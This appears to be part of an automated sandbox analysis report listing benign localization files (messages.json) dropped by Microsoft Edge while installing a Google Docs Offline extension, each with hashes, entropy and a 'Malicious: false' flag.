Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
